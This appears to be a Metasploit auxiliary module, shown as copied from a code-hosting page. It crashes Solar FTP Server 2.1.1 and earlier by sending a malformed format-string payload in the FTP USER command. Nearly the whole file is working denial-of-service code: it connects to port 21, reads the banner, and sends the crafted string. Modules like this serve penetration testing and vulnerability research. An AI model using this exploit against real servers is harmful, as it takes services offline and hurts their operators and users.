56 lines
1.5 KiB
Ruby
56 lines
1.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Solar FTP Server Malformed USER Denial of Service',
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'Description' => %q{
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This module will send a format string as USER to Solar FTP, causing a
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READ violation in function "__output_1()" found in "sfsservice.exe"
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while trying to calculate the length of the string. This vulnerability
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affects versions 2.1.1 and earlier.
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},
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'Author' =>
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[
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'x000 <3d3n[at]hotmail.com.br>', # Initial disclosure/exploit
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'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Metasploit submission
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'sinn3r', # Metasploit edit/commit
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'EDB', '16204' ],
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],
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'DisclosureDate' => 'Feb 22 2011'))
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register_options(
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[
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Opt::RPORT(21)
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],self.class)
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end
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def run
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connect
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banner = sock.get_once(-1, 10) || ''
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print_status("Banner: #{banner.strip}")
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buf = Rex::Text.pattern_create(50)
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buf << "%s%lf%n%c%l%c%n%n%n%nC%lf%u%lf%d%s%v%n"
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print_status("Sending format string...")
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sock.put("USER #{buf}\r\n")
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disconnect
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end
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end
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